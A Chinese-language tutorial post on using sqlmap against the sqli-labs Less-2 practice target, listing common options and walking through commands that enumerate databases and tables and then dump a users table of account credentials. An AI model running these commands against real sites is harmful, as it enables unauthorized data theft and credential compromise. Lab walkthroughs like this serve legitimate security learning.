web安全-sqlmap的使用

sqlmap工具的使用

  • 一、前言
  • 二、参数说明
  • 三、注入演示
    • 1、寻找注入点
    • 2、查库
    • 3、查表
    • 4、出数据

一、前言

  sqlmap是一款非常好用的自动化的sql注入工具,本文演示中的目标是靶机的Less-2,使用kali自带的工具sqlmap进行注入。其中kali版本为2020.3。
  本文只是简单的学习使用工具,若需要了解更多请点击前往sqlmap中文使用手册学习。

二、参数说明

  在这里我将说明sqlmap使用过程中常用到的一些参数。

参数 作用
-u 指定目标URL
–ignore-401 使用该参数忽略401错误(未认证)
–delay 定HTTP请求之间的延迟
–randomize 随机生成每次HTTP请求中参数的值
–safe-url 隔一会就访问一下的安全URL
–csrf-token 和 –csrf-url 绕过CSRF保护
-o 一键优化
-p “id” 测试注入点
–dbms 指定数据库
–level 用于指定检测级别,有1~5共5级
–risk 指定风险等级,有1~4共4级
-dbs 和 -D 查询所有数据库名
-tables 和 -T 查询所有表名
–common-tables 暴力破解表名
columns 查询所有列名
–common-columns 暴力破解列名
–all 一键列举全部数据
-b 列举数据库管理系统信息
–current-db 列举当前数据库
–current-user 列举当前用户
–passwords 列举并破解数据库管理系统用户密码Hash值
–count 统计数据数目
–dump 列举表中数据

  我所列举出来的参数仅是个人感觉有用的,标注出来的是最基础的。工具就在于懂得原理之后去使用!

三、注入演示

  sql注入的步骤主要分为:找注入点->查库->查表->出数据。具体的sql注入请前往另一篇博客web安全-sql注入学习。接下来我们直接展示!
  开始之前我们得需要明白我们的目标是啥!!!!我们的目标就是找到这个网站的管理员账户和密码!!

1、寻找注入点

  简单的测试我们便知道目标网站的注入点是:id,通过get传参。

2、查库

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  -dbs

结果展示:

  以上是所有数据库,那么怎么查询本站的数据库呢?

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  –current-db

结果展示:

  到这里我们知道了数据库是‘security’。接下来我们就需要查看这个库中有哪些表呢?

3、查表

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  --count -D security

结果展示:

  这里我采用了给这个数据库中的表统计数据,去除空表,可以看到users表肯定是我们想要的账号密码数据表。接下来我们就该让他出数据了。

4、出数据

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  --dump -D security -T users

结果展示:

  这里让它列出来了表中的所有数据,我们可以看到所有用户账号密码。自然也有管理员账户和密码,目标达成!
  到这里我们的演示就结束了!

注:
  以上演示的是get传参,若使用post传参则Payload有所不同,需要用抓包工具将请求包的数据放入txt文件读取注入,展示如下:

Payload:root@kali:~/桌面# sqlmap -r test.txt -dbs

结果展示:

来源:https://www.icode9.com/content-2-837451.html

(0)

相关推荐